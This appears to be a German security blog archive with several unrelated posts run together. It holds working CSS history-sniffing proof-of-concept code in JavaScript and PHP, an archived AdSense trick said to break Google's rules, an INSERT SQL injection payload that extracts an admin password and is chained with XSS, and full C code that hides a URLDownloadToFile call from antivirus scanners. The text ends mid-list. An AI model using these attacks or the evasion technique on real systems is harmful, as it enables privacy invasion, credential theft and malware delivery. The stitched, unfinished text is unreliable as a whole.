Viele Webbrowser enthalten seit Jahren eine Sicherheitslücke, die bis heute noch nicht geschlossen wurde. Mit einem sog. CSS History Hack ist es möglich, die Browser History (auch Verlauf oder Chronik genannt) auszulesen.

In der Browser History werden die zuletzt besuchten Webseiten gespeichert. Somit ist es möglich herauszufinden, welche Webseiten ein Besucher bereits besucht hat. Internetnutzer könnten anhand der Daten identifiziert werden und Angreifer könnten diese nutzen, um gezielte Phishing-Angriffe durchzuführen.

Häufig wird die Browser History mit Javascript ausgelesen. JavaScript zu deaktivieren oder Addons wie NoScript zu verwenden reicht aber nicht aus. Was die meisten nicht wissen ist, dass CSS History Hacks in vielen Browsern auch mit CSS möglich sind.

Ursache der Sicherheitslücke

Die Ursache der Sicherheitslücke ist die Art, wie ein Browser speichert, ob ein Link bereits gefolgt wurde. Ist man einem Link bereits gefolgt, wird er per Stylesheet farblich anders dargestellt, als Links, denen man noch nicht gefolgt ist.

Wurde ein Link also bereits gefolgt, gibt es Änderungen im Stylesheet, die der Browser als Attribute in der History speichert.

Funktionsweise eines Angriffs

Ein Angreifer kann nicht einfach direkt abfragen, welche Webseiten in der Browser History gespeichert sind. Er muss eine Liste mit vordefinierten URLs erstellen. Jede URL in dieser Liste wird dann anhand der Attribute im Stylesheet überprüft.

Da die Überprüfung normalerweise ziemlich schnell ist, können problemlos tausende URLs innerhalb kürzester Zeit überprüft werden.

Was Angreifer mit den Daten machen könnten

Das Protential von solchen Angriffen sollte man nicht unterschätzen. Neben gezielten Phishing-Angriffen ist noch einiges mehr möglich.

Sämtliche Daten könnten ausspioniert werden - besonders in Kombination mit Social Engineering. Vor allem soziale Netzwerke sind von davon betroffen.

Proof-of-Concept

Hinweis: Die Live-Demos / Scripte könnt ihr unbedenklich testen. Es werden keine Daten über besuchte Webseiten protokolliert, sondern nur dargestellt.

Beide Live Demos wurden mit Firefox und Chrome getestet.

Ausnutzung per JavaScript

Live Demo: CSS History Hack Beispiel per JavaScript

Die Demo basiert auf ein Script von Jeremiah Grossman, WhiteHat Security, Inc.

/*
NAME: JavaScript History Thief
AUTHOR: Jeremiah Grossman

BSD LICENSE:
Copyright (c) 2006, WhiteHat Security, Inc.
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the WhiteHat Security nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
*/

/* A short list of websites to loop through checking to see if the victim has been there. Without noticable performance overhead, testing couple of a couple thousand URL's is possible within a few seconds. */
var websites = [
  'http://www.google.de',
  'http://www.ebay.de',
  'http://www.web-tuts.de',
  'http://www.youtube.com',
  'http://www.myhammer.de',
  'http://www.heise.de',
  'http://www.t3n.de/news/',
  'http://www.myspace.com',
  'http://de.wikipedia.org',
  'http://de.wikipedia.org/wiki/Buffer_Overflow',
  'http://de.wikipedia.org/wiki/Javascript',
  'http://www.spiegel.de',
  'http://www.golem.de'
];

/* Loop through each URL */
for (var i = 0; i < websites.length; i++) {

  /* create the new anchor tag with the appropriate URL information */
  var link = document.createElement("a");
  link.id = "id" + i;
  link.href = websites[i];
  link.innerHTML = websites[i];

  /* create a custom style tag for the specific link. Set the CSS visited selector to a known value, in this case red */
  document.write('<style>');
  document.write('#id' + i + ":visited {color: #FF0000;}");
  document.write('</style>');

  /* quickly add and remove the link from the DOM with enough time to save the visible computed color. */
  document.body.appendChild(link);
  var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
  document.body.removeChild(link);

  /* check to see if the link has been visited if the computed color is red */
  if (color == "rgb(255, 0, 0)") { // visited

    /* add the link to the visited list */
    var item = document.createElement('li');
    item.appendChild(link);
    document.getElementById('visited').appendChild(item);

  } else { // not visited

    /* add the link to the not visited list */
    var item = document.createElement('li');
    item.appendChild(link);
    document.getElementById('notvisited').appendChild(item);

  } // end visited color check if

} // end URL loop

Dieses Beispiel zeigt die klassische Ausnutzung per JavaScript. Bereits gefolgten Links (im Stylesheet a:visited) wird eine rote Farbe zugewiesen. Anschließend wird überprüft, für welche Links diese Farbe definiert wurde.

Ausnutzung per CSS und PHP

Live Demo: CSS History Hack ohne JavaScript

<?php
  session_start();

  header('Cache-Control: no-store, no-cache, must-revalidate'); // HTTP 1.1
  header('Cache-Control: post-check=0, pre-check=0, false'); // HTTP 1.0
  header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');
  header('Pragma: no-cache');

  $websites = array(
  'http://www.google.de',
  'http://www.ebay.de',
  'http://www.web-tuts.de',
  'http://www.youtube.com',
  'http://www.myhammer.de',
  'http://www.heise.de',
  'http://www.t3n.de/news/',
  'http://www.myspace.com',
  'http://de.wikipedia.org',
  'http://de.wikipedia.org/wiki/Buffer_Overflow',
  'http://de.wikipedia.org/wiki/Javascript',
  'http://www.spiegel.de',
  'http://www.golem.de'
  );

  $c = count($websites);

  if(empty($_SESSION['visited']))
  	$_SESSION['visited'] = array();

  if(empty($_SESSION['id']))
  	$_SESSION['id'] = md5(uniqid(mt_rand(), true));

  if(!empty($_SERVER['QUERY_STRING']))
  {
    // script wurde via css background image aufgerufen
    if(preg_match('/([a-f0-9]{32})-(\d*)/i', $_SERVER['QUERY_STRING'], $matches))
    {
    	$num = $matches[2];

    	// wenn eintrag noch nicht vorhanden, hinzufuegen
    	if(!in_array($websites[$num], $_SESSION['visited']))
        $_SESSION['visited'][] = $websites[$num];
    }
  }

  $not_visited = array_diff($websites, $_SESSION['visited']);
?>
<html>
<head>
<style type="text/css">
#list { position: absolute; visibility: hidden; }
<?php
  for($i = 0; $i < $c; $i++)
    echo 'a:visited span.span' . $i . '{background:url('.basename(__FILE__).'?'.$_SESSION['id'].'-'.$i.');color:#c00;}';
?>
</style>
</head>
<body>
<div id="list">
<?php
  for($i = 0; $i < $c; $i++)
    echo '<a href="'.$websites[$i].'">'.$websites[$i].'<span class="span'.$i.'"></span></a>';
?>
</div>
<ul id="visited">
<?php
  foreach($_SESSION['visited'] as $visited)
    echo '<li><a href="'.$visited.'">'.$visited.'</a></li>';
?>
</ul>
<ul id="notvisited">
<?php
  foreach($not_visited as $notvisited)
    echo '<li><a href="'.$notvisited.'">'.$notvisited.'</a></li>';
?>
</ul>
</body>
</html>

Diese Methode wurde von IT-Wissenschaftlern einer Universität vorgestellt und funktioniert auch ohne JavaScript.

Der Trick bei dieser Methode ist, dass im Stylesheet bei a:visited mit background:url() das PHP Script mit eindeutigen IDs geladen/nachgeladen wird. Die übergebene ID in der URL entspricht einer vom Angreifer festgelegten ID einer vordefinierten Webseite. Somit kann der Angreifer anhand der ID feststellen, welche Webseite bereits besucht wurde.

Wurde eine Webseite also bereits besucht, wird mit background:url() das Script mit der entsprechenden ID im Hintergrund geladen und die Webseite protokolliert (in diesem Beispiel zur Demonstration in einer Session gespeichert).

Zusätzlich wird dem Script ein eindeutiger String zur Identifikation eines Internetnutzers übergeben - normalerweise die IP Adresse. Somit können besuchte Webseiten einer IP zugeordnet werden. In diesem Beispiel ist das nur ein zufällig generierter MD5 Hash.

Gegenmaßnahmen

Nun zum wichtigen Teil - wie schützt man sich vor CSS History Hacks?

Es gibt zwei Möglichkeiten, um sich effektiv gegen solche Angriffe zu schützen.

1. Festlegen, dass der verwendete Browser keine History anlegt.

Die beste und sicherste Möglichkeit ist im Browser einzustellen, dass gar keine History angelegt wird. Wer also darauf verzichten kann, sollte diese Möglichkeit nutzen.

In Firefox geht das unter Bearbeiten > Einstellungen > Datenschutz

Alternativ kann man dort auch benutzerdefinierte Einstellungen vornehmen und z.B. einstellen, dass die Chronik nach 2 Tagen gelöscht werden soll.

2. Browser-Addon nutzen

Eine weitere Möglichkeit ist das Nutzen eines speziellen Browser-Addons. Für Firefox eignet sich das SafeHistory Addon von der Stanford Universität. Allerdings scheint es mit neueren FF Versionen nicht kompatibel zu sein.

Auch interessant:

• 16 nützliche Firefox-Addons für Webworker
• Sichere Formulare – Teil 1
• Downloads
• Content-Spoofing – Teil 1 – JavaScript
• 10 Mythen zum Thema Web Security

Hinweis: Dieser Trick ist veraltet und sollte nicht mehr verwendet werden, da er gegen die Google-Richtlinien verstößt. Dieser Beitrag steht nur noch zu Archiv-zwecken zur verfügung.

Google AdSense ist eine sehr beliebte Einnahme-Quelle für Website-Betreiber. Einige verdienen damit ein paar Euro Taschengeld, andere können von ihren AdSense Einnahmen gut leben und manche werden sogar reich.

Optimierungs-Potential ist jedoch fast immer vorhanden. Es gibt viele Websites mit sehr vielen Besuchern, die deutlich weniger AdSense Einahmen aufweisen, als kleinere Websites mit nicht so vielen Besuchern. Das kann natürlich mehrere Gründe haben. Position, Farben, Format, Text, ... all das spielt eine wichtige Rolle. Neben allgemeinen Tipps und Tricks, die man schnell findet, gibt es aber noch einige Tricks von AdSense-Profis, die es in sich haben.

In diesem Artikel stelle ich einen davon vor.

Psychologische Faktoren

(Unerwünschte) Werbung gibt es überall im Internet. Ob nervige Pop-ups, blinkende Banner oder Werbe-Layer, bei denen der Schließ-Button fehlt. Kaum jemand interessiert sich wirklich für die werbenden Inhalte. Kein wunder, wenn sie einem so aufgedrängt werden.

Aus diesem Grund nutzen die meisten Internet-Nutzer Pop-up-Blocker und andere Tools, die das Anzeigen von Werbung unterbinden. Werbung ist also grundsätzlich erstmal unerwünscht. Trotzdem erscheint sie überall. Internet-Nutzer haben im Laufe der Zeit eine sogenannte "Banner Blindness" entwickelt. Bekannte Werbe-Formate werden ignoriert, als wären sie gar nicht da.

Die Kunst liegt darin, die AdSense Anzeigen nicht wie herkömmliche Werbung aussehen zu lassen. Es geht hier allerdings nicht darum den User zu täuschen (die Werbung ist sowieso immer gekennzeichnet), sondern die "Banner Blindness" zu überlisten.

Der AdSense-Trick

Kommen wir nun zum sehr effektiven Trick, der auch von Internet-Marketing Experten, wie Michael Cheney verwendet wird. Michael Cheney konnte mit diesem "einfachen" Trick seine Einnahmen laut eigenen Angaben verdreifachen.

Der Trick besteht darin, passende Bilder über einen (horizontalen) AdSense Werbeblock in gleichen Abständen zu den Anzeigentiteln zu platzieren, so dass jedes Bild einem Anzeigentitel (Link) visuell zugeordnet ist.

Hierzu ein vereinfachtes Beispiel (zum Vergrößern auf's Bild klicken):

Entscheidend sind hier vorallem folgende Punkte.

• Die Position des AdSense Werbeblocks und der Bilder
• Die Themenrelevanz der Bilder zu den Anzeigen und Content
• Das Format des Werbeblocks
• Der Abstand der Bilder
• Der Abstand der Bilder zum Werbeblock
• Die Hintergrundfarbe der Anzeigen
• Die Linkfarbe des Anzeigentitels
• Die Linkfarbe der Werbe-URL

Position

Zuerst einmal zur Position. In diesem Beispiel befinden sich die Bilder und der Werbeblock oben mittig im Content-Bereich. Meiner Meinung nach hier die ideale Position. Mehr über allgemein gute Positionen für AdSense Blöcke, findet man bei Google selbst.

Themenrelevanz

Sehr wichtig ist hier auch die Themenrelevanz der Bilder. Schreibt man einen Artikel über gesundes Obst, könnte man allgemeine Obst-Bilder verwenden. Es wär nicht gerade sinnvoll Bilder von Bananen anzuzeigen, wenn in der Anzeige etwas von Äpfeln steht.

Achtung! Die Bilder sollten keine Inhalte haben, die in irgendeiner Art und Weise auf die AdSense Anzeigen aufwerksam machen! Das verstößt gegen die Google Richtlinien. Also keine Pfeile, die zu den Anzeigen zeigen... auch keine Gegenstände, die dort hinzeigen. Normale, natürliche Bilder sind jedoch kein Problem.

Mit den folgenden HTML-Tags lassen sich Abschnitte des Contents vorschlagen, die für die Anzeigen hervorgehoben werden sollen.

<!-- google_ad_section_start -->

<!-- google_ad_section_end -->

Eine genaue Beschreibung dazu gibt es in der AdSense-Hilfe von Google.

Format

Am besten ist für diesen Trick wohl ein horizontaler Werbeblock geeignet. In diesem Beispiel wurde das 728 x 90 Leaderboard verwendet. Natürlich funktionieren auch andere bzw. ähnliche Formate. Das muss jeder für sich testen.

Abstand

Der Abstand spielt hier auch eine sehr wichtige Rolle. Der Abstand der Bilder sollte zum Abstand der Anzeigentitel passen. Unter jedem Bild sollte ein Anzeigentitel stehen. Der Abstand zur Anzeige selbst sollte nicht zu groß (aber auch nicht zu gering, damit es keine Probleme mit Google gibt) sein.

Farben

Ohne die richtigen Farben kommt man nicht weit. Bei diesem Trick sollen vorallem die Anzeigentitel im Fokus stehen. Von daher (und überhaupt) wär es keine schlechte Idee, die Farbe der normalen Links der Website zu verwenden. Am besten eine kraftvolle Farbe, die heraussticht und zum layout passt.

Die Farbe der Werbe-URL sollte dagegen die Farbe des normalen Textes haben, damit die volle Aufmerksamkeit den Anzeigentiteln gehört. Die Farbwahl spielt natürlich auch bei den psychologischen Faktoren eine große Rolle.

Probieren geht über studieren

Im Endeffekt muss man jedoch selber testen, testen, testen. Dieser Trick funktioniert mit Sicherheit nicht bei jedem. Und man sollte ihn auch mit Bedacht einsetzen, damit es keine Probleme mit Google gibt. Dieser Trick hat jedenfalls bei einigen sehr gut funktioniert und wurde von AdSense Experten wie Michael Cheney empfohlen.

Update: Es sind sich wohl doch nicht alle einig. Man sollte deshalb etwas vorsichtiger mit diesem Trick umgehen. Ansonsten einfach mal selber beim Google AdSense Support nachfragen.

Hier mal ein weiteres Beispiel mit nur einem Bild:

Wer kreativ und vorsichtig ist, wird die besten Chancen auf Erfolg haben.

Hinweis: Dieser Trick ist veraltet und sollte nicht mehr verwendet werden, da er gegen die Google-Richtlinien verstößt. Dieser Beitrag steht nur noch zu Archiv-zwecken zur verfügung.

Auch interessant:

• Datenschutz: Super-Cookies (Flash Cookies, DOM Storage)
• CSS History Hacks – Auslesen von besuchten Webseiten
• Advanced Local und Remote File Inclusion

Harmlose Sicherheitslücken können für versierte Angreifer sehr nützlich und in manchen Fällen sogar entscheidend für einen erfolgreichen Angriff sein. Mit Full Path Disclosure lässt sich beispielsweise der vollständige Pfad aus Fehler- und Warnmeldungen lesen. Viele fragen sich, was Angreifer denn schon mit einem einfachen Pfad angangen können. Dabei sind es oft wertvolle Informationen - zum Beispiel, um Local File Inclusion Sicherheitslücken auszunutzen oder um mehr über die interne Verzeichnis-Struktur zu erfahren.

Manchmal kommt auch es vor, dass SQL Injections für Angreifer unbrauchbar sind. In Kombination mit anderen Sicherheitslücken, wie XSS, XSRF oder aber auch Social Engineering kann sich das Blatt sehr schnell wenden.

Gefahrenstufen bei Sicherheitslücken

Sicherheitslücken werden häufig in Gefahrenstufen unterteilt.

Das könnte zum Beispiel so aussehen:

Remote Sicherheitslücken, mit denen sich Angreifer Root-Zugriff auf einem System verschaffen können, werden als "hochkritisch" eingestuft.

Sicherheitslücken, die es ermöglichen System-Befehle oder serverseitigen Code auszuführen, werden in der Regel als kritisch eingestuft.

Als nicht bzw. weniger kritisch gehören zum Beispiel Information Disclosure Sicherheitslücken, mit denen Angreifer Informationen über das Zielsystem erhalten.

Wie aus "harmlose" Sicherheitslücken "hochkritische" werden

Ich habe ja schon öfter erwähnt, dass XSS-Lücken allgemein nicht als harmlos einzustufen sind. Können XSS-Lücken auch zur Kompromittierung eines Systems führen? Einige würden sich über diese Frage sicherlich amüsieren.

Dabei ist es gar nicht mal so unrealistisch. Natürlich geht sowas nicht mit XSS alleine, aber in Kombination mit anderen Sicherheitslücken.

Das gleiche gilt auch für harmlose Sicherheitslücken - wie zum Beispiel Information Disclosure, HTML-Injection oder Cross-Site Authentication (XSA).

Proof-Of-Concept

Da solche Situationen unterschiedlich sein können und man kein allgemeines Beispiel nennen kann, werde ich das ganze anhand von zwei Szenarien demonstrieren.

Das zweite Szenario ist ein "Real-World" Beispiel - basierend auf einem Source Code Audit, den ich vor kurzem bei einem CMS gemacht habe.

Szenario 1 - Von XSS zum Root-Zugriff

Ein Angreifer findet eine XSS-Lücke in einer Forensoftware. Dort werden Cookies verwendet, um den Benutzern die Möglichkeit zu bieten längere Zeit angemeldet zu bleiben.

In diesen Cookies werden die Session-IDs übermittelt. Wenn ein Benutzer eingeloggt ist, die Seite verlässt und später wiederkommt, kann der Benutzer anhand der vom Browser übermittelten SID identifiziert werden - der Benutzer bleibt also eingeloggt.

Der Angreifer präpariert nun einen Link oder eine Webseite so, dass die Cookie-Informationen mithilfe der XSS-Lücke unbemerkt an den Angreifer übermittelt werden.

Diesen Link schickt er an einem Admin des Forums. Somit erhält er die SID des Admins und kann sie in seine eigene Cookie-Datei eintragen. Wenn der Angreifer nun die Seite besucht, wird die gültige SID erkannt und der Angreifer ist als Admin eingeloggt. Er hat die Session also übernommen. Diese Angriffstechnik ist auch als Session Hijacking bekannt.

Der Angreifer hat nun Adminrechte und kann einiges mehr anstellen. In diesem Beispiel kann der Angreifer im Admin-Bereich Templates editieren und dort PHP Code injizieren.

Dadurch verschafft er sich schonmal Zugriff auf dem Webserver und hat Zugriff auf sämtliche Dateien, die dort liegen. Die Server-Software bzw. OS Version ist nicht auf dem neuesten Stand und der Angreifer nutzt ein Local Root Exploit, mit dem er sich Root-Zugriff auf dem Server verschafft. Ziel erreicht.

Einige denken jetzt vielleicht "als ob das so einfach ist" - ist es auch oft nicht. Aber aus eigenen Erfahrungen kann ich sagen, dass soetwas sehr schnell Realität werden kann.

Szenario 2 - Die scheinbar unbrauchbare SQL Injection

Dieses Szenario ist wie gesagt ein "Real-World" Beispiel aus einem CMS, das ich hier aus Sicherheitsgründen nicht nennen werde. Den Code habe ich etwas abgeändert.

Das verwundbare Script (vereinfachtes Snippet):

<?php
  // ...

  function getbrowser($useragent)
  {
    if(preg_match("=MSIE ([0-9]{1,2}).[0-9]{1,2}=", $useragent, $browser))
      return "Internet Explorer ".$browser[1];
    elseif(preg_match("=^Mozilla.*Firefox\/(.*)$=", $useragent, $browser))
      return("Firefox ".$browser[1]);
    elseif(preg_match("=Mozilla/5.[0-9]{1,2}=", $useragent))
      return "Netscape Navigator 6";
    elseif(preg_match("=Mozilla/([0-9]{1,2}).[0-9]{1,2}=", $useragent, $browser))
      return "Netscape Navigator ".$browser[1];
    else
      return 0;
  }

  function getreferrer($referrer)
  {
    if(!empty($referrer))
    {
      $urlpart = parse_url($referrer);
      $url = 'http://'.$urlpart['host'].$urlpart['path'];
      return $url;
    }
    else
      return 0;
  }

  $ip = $_SERVER['REMOTE_ADDR'];
  $br = getbrowser($_SERVER['HTTP_USER_AGENT']);
  $ref = (isset($_SERVER['HTTP_REFERER']) ? getreferer($_SERVER['HTTP_REFERER']) : '');

  mysql_query("INSERT INTO prefix_table (browser,ip,ref)
               VALUES('".$br."','".$ip."','".$ref."')");

  // ...
?>

Nun analysieren wir mal eben diesen Code.

Die IP-Adresse, der Browser und der Referrer werden in Variablen gespeichert. Anschließend werden die Werte dieser Variablen mit einer INSERT SQL-Anweisung in eine Datenbank-Tabelle eingefügt.

Wenn die Variablen nicht ausreichend validiert werden, ist SQL Injection möglich.

Die Variable »ip« kann schonmal keine Benutzereingaben enthalten, da der Wert von $_SERVER['REMOTE_ADDR'] nicht verändert werden kann.

Für den Browser und den Referrer gibt es eigene Funktionen zur Validierung. Moment ... habe ich Validierung gesagt?

Bei der Funktion getreferrer wird der Wert von $_SERVER['HTTP_REFERER'] nur einmal durch die Funktion parse_url() gejagt und anschließend werden die ersten beiden Teile (Host und Pfad) zurück gegeben.

Die Funktion parse_url() ist allerdings nicht zur Validierung von URLs gedacht, sondern nur zum Parsen von URLs.

Diese Funktion ist nicht dazu gedacht, einen gegebenen URL zu validieren, sondern es gliedert einen URL in die unten aufgeführten Bestandteile. Unvollständige URLs werden als Parameter akzeptiert, parse_url() versucht, sie bestmöglich zu analysieren. Quelle: php.net

Die Variable »ref« kann also beliebige Benutzereingaben enthalten, da die Funktion parse_url() keine Filterung / Validierung ermöglicht.

Wie sieht's mit der Funktion getbrowser aus? Dort wird der User-Agent besser validiert, allerdings gibt es einen entscheidenen Fehler in folgender Zeile:

elseif(preg_match("=^Mozilla.*Firefox\/(.*)$=", $useragent, $browser))

Hier wird der User-Agent mit einem "Muster" bzw. einem Regulären Ausdruck verglichen.

Die Funktion liefert den Wert zurück, der in den Klammern steht. In diesem Fall: .*

Die Angabe .* bedeutet, dass jedes beliebige Zeichen angegeben werden kann. Und da der Wert von $_SERVER['HTTP_USER_AGENT'] im Browser verändert werden kann, ist diese Validierung nicht sicher.

Folgender String würde zum Beispiel funktionieren:

Mozilla1Firefox/foo'

Durch das Apostroph kann aus dem String ausgebrochen werden und eigene Werte können in die Datenbank-Tabelle eingefügt werden. Es handelt sich hierbei um eine klassische INSERT SQL-Injection.

Ich möchte jetzt aber nicht zu sehr auf SQL Injection eingehen - das werde ich in einem anderen Artikel noch ausführlich. Hier geht es nur darum das Passwort des Admins in die Datenbank-Tabelle zu injizieren. Also kurz und knapp - hier die SQL Injection, die ein Angreifer als User-Agent definieren kann, um das Passwort des Admins (anstatt den Referrer) in die Datenbank-Tabelle einzufügen:

Mozilla1Firefox/foo','127.0.0.1',(select pass from prefix_user limit 0,1))-- f

Folgende SQL-Anweisung wird nun ausgeführt:

INSERT INTO prefix_table (browser,ip,ref)
VALUES('Mozilla1Firefox/foo','127.0.0.1',(SELECT pass FROM prefix_user LIMIT 0,1))

Das Passwort wird also in der Datenbank-Tabelle eingefügt. Allerdings wird dieser Eintrag nirgendwo auf der Seite wieder ausgegeben und es existiert keine SQL-Lücke in einer SELECT-Abfrage. Wie kommt der Angreifer nun an das Passwort?

Im Admin-Bereich gibt es eine Besucherstatistik. Dort werden diese Inhalte ausgegeben. Normalerweise wird hier zum Beispiel der Referrer ausgegeben - da der Angreifer allerdings das Passwort in die Tabelle injiziert hat, wird das Passwort des Admins ausgegeben. Da der Angreifer auch JavaScript Code in die Tabelle injizieren kann und im Admin-Breich die Ausgabe nicht gefiltert wird, kann das Passwort mithilfe eines injizierten JavaScript Codes an den Angreifer gesendet werden. Hier wird also XSS genutzt, um die SQL Injection brauchbar zu machen und das Passwort auszulesen.

Fazit

Kreative und versierte Angreifer können Sicherheitslücken kombinieren, um einen erfolgreichen Angriff zu ermöglichen. Eine einfache XSS-Lücke könnte zum vollständigen Root-Zugriff führen. Eine unbrauchbare SQL Injection wird in Kombination mit XSS brauchbar. Harmlose Sicherheitslücken könnten das Einstiegstor für Angreifer sein.

Auch interessant:

• PHP Session Sicherheit – Session Fixation
• Sichere Formulare – Teil 1

Unter anderem werden bestimmte Funktionen im Programmcode erkannt, die auch oft in Malware verwendet werden. Das ist natürlich besonders ärgerlich für diejenigen, die legale Software entwickeln, diese Funktionen aber nutzen wollen.

In diesem Artikel zeige ich euch, wie einfach dieser Schutz umgangen werden kann.

WinAPI-Funktionen

Das WinAPI (Windows Application Programming Interface) ist eine Programmierschnittstelle von Microsoft, die Programmierer nutzen können, um unter Windows Software zu entwickeln. In der MSDN Library werden unter anderem sehr viele WinAPI-Funktionen und deren Parameter (falls vorhanden) genauer erklärt. Einige dieser Funktionen werden von Antiviren-Programmen als potenziell gefährlich eingestuft, da sie häufig in Malware verwendet werden. Zum Beispiel Funktionen, die es ermöglichen eigenen Programmcode in einem fremden Prozess zu injizieren.

URLDownloadToFile

Mit der WinAPI-Funktion URLDownloadToFile kann man durch einen simplen Aufruf eine Datei aus dem Internet herunterladen und sie auf dem lokalen Rechner speichern.

Dies ist eine solche Funktion, die von den meisten Antiviren-Programmen ohne Vorwarnung blockiert wird. Auch nicht ohne Grund, denn schließlich kann somit jede beliebige Datei heruntergeladen und evtl. anschließend auf dem Rechner ausgeführt werden. Allderdings kann es auch vorkommen, dass man (als Programmierer) diese Funktion für legale Zwecke verwenden will. Zum Beispiel, um neue Updates herunterzuladen.

So könnte der Funktionsaufruf in der Programmiersprache C aussehen:

#include <windows.h>
#include <urlmon.h>

int main()
{
  HRESULT hDownload = URLDownloadToFile(NULL, "URL", "SPEICHERORT", 0, NULL);

  if(hDownload != S_OK)
    return 1;

  return 0;
}

Wobei URL und SPEICHERORT durch richtige Angaben ersetzt werden müssen. Ich möchte aber nicht weiter darauf eingehen, da es nur eine Demonstration darstellt.

In diesem Fall erkennt das Antiviren-Programm den Aufruf bzw. den Funktionsnamen der URLDownloadToFile Funktion und schlägt Alarm.

Funktionsnamen verschlüsseln

Da die meisten Antiviren-Programme keine Schwierigkeit darin haben den Funktionsnamen aus der Datei zu lesen, kann man als ersten Schritt diesen Funktionsnamen verschlüsseln.

Dabei sind dem Programmierer keine Grenzen gesetzt. Es genügt aber meistens eine sehr einfache Verschlüsselung. In diesem Beispiel wird einfach jeder Buchstabe des Funktionsnamens alphabetisch erhöht. Das heißt aus A wird B, aus B wird C, usw.

URLDownloadToFile wird also zu VSMEpxompbeUpGjmfB.
Das Antiviren-Programm erkennt somit den eigentlichen Funktionsnamen nicht mehr.

Funktionsnamen entschlüsseln & Speicheradresse aus DLL laden

Da der Funktionsname verschlüsselt und somit verändert wurde, müssen wir diesen wieder entschlüsseln, damit wir die Funktion URLDownloadToFile auch aufrufen können. Dies machen wir wie bei der Verschlüsselung - nur andersrum.

Aus VSMEpxompbeUpGjmfB wird also wieder URLDownloadToFile. Was dieses hin und her bewirkt? Ganz einfach: Der Funktionsname URLDownloadToFile wird nicht mehr direkt im Programm verwendet, sondern der Verschlüsselte, der wiederum später zur Laufzeit zu dem eigentlichen Funktionsnamen entschlüsselt wird.

Nun, irgendwie müssen wir die URLDownloadToFile Funktion ja aufrufen. Was bringt uns der Funktionsname? Das ist ja keine Funktion, sondern nur eine Zeichenkette.

In Windows werden DLL-Dateien verwendet, welche unter anderem Speicheradressen von bestimmten Funktionen beinhalten. Durch diese Speicheradressen können wir auf die Funktionen zugreifen. Die Adresse der Funktion URLDownloadToFile befindet sich in der urlmon.dll Datei, welche sich in einem Windows System-Ordner befindet. Diese Adresse können wir mit der WinAPI-Funktion GetProcAddress auslesen.

Wir laden die Datei urlmon.dll mithilfe der WinAPI-Funktion LoadLibrary zur Laufzeit des Programms und lesen anschließend mit GetProcAddress die Speicheradresse der URLDownloadToFile Funktion aus. Um die Adresse der Funktion zu erhalten, müssen wir als zweiten Parameter der GetProcAddress Funktion den Funktionsnamen angeben.

Zur Erinnerung: Diesen hatten wir zuvor wieder entschlüsselt.

Somit erhalten wir also die Adresse der Funktion URLDownloadToFile und können diese in einem eigenen Funktionsaufruf verwenden.

Hier nun ein Beispiel mit Kommentaren:

#include <windows.h>
#include <string.h>
#include <stdio.h>

int entschluesseln(char*);

int main()
{
  // Verschluesselter Funktionsname von URLDownloadToFile
  char funktionsname[] = "VSMEpxompbeUpGjmfB";

  HINSTANCE hDLL;
  // Dieser Variable weisen wir spaeter die Adresse zu
  FARPROC Download;

  // Hier entschluesseln wir den verschluesselten Funktionsnamen
  entschluesseln(funktionsname);

  // Wir laden die DLL-Datei urlmon.dll dynamisch zur Laufzeit
  hDLL = LoadLibrary("URLMON_DLL");

  if(hDLL == NULL)
  {
    FreeLibrary(hDLL);
    return 1;
  }

  // Hier lesen wir die Adresse der URLDownloadToFile Funktion aus
  // und weisen sie der Variable Download zu
  Download = GetProcAddress(hDLL, funktionsname);

  if(Download == NULL)
  {
    FreeLibrary(hDLL);
    return 2;
  }

  // Hier ist nun der Aufruf der Funktion URLDownloadToFile
  // Wir koennen hier unsere Variable "Download" verwenden
  // da diese die Speicheradresse von URLDownloadToFile enthaelt
  Download(NULL, "URL", "SPEICHERORT", 0, NULL);

  FreeLibrary(hDLL);

  return 0;
}

// Die Funktion zur Entschluesselung
int entschluesseln(char *str)
{
  char buchstabe;
  int i, dezimalwert;

  // Verschluesselter Funktionsname wird Buchstabe fuer Buchstabe entschluesselt
  // Aus VSMEpxompbeUpGjmfB wird also wieder URLDownloadToFile
  for(i = 0; i < strlen(str); i++)
  {
    dezimalwert = (int)str[i];
    dezimalwert -= 1;
    buchstabe = (char)dezimalwert;
    str[i] = buchstabe;
  }

  return 0;
}

URLMON_DLL, URL und SPEICHERORT müssen wieder entsprechend durch korrekte Angaben ersetzt werden. Die urlmon.dll befindet sich normalerweise im system32 Ordner. Ihr könnt sie aber auch einfach mit der Windows Suchfunktion suchen.

In diesem Beispiel verwenden wir nicht mehr direkt die URLDownloadToFile Funktion, sondern ermitteln einfach die Speicheradresse dieser Funktion. Dadurch können wir einen eigenen Funktionsnamen für diese Funktion verwenden. In diesem Fall “Download”.

Da hier kein direkter Aufruf der URLDownloadToFile Funktion mehr erfolgt und der eigentliche Funktionsname nicht mehr im Programm verwendet wird, erkennt das Antiviren-Programm auch nichts mehr.

Fazit

Die meisten Antiviren-Programme lassen sich durch sehr einfache Verschlüsselungen und durch dynamische Funktionsaufrufe austricksen. Man sollte nicht zu sehr darauf vertrauen, aber sie auch nicht zu sehr unterschätzen.

Hier nochmal die Schritte im Überblick:

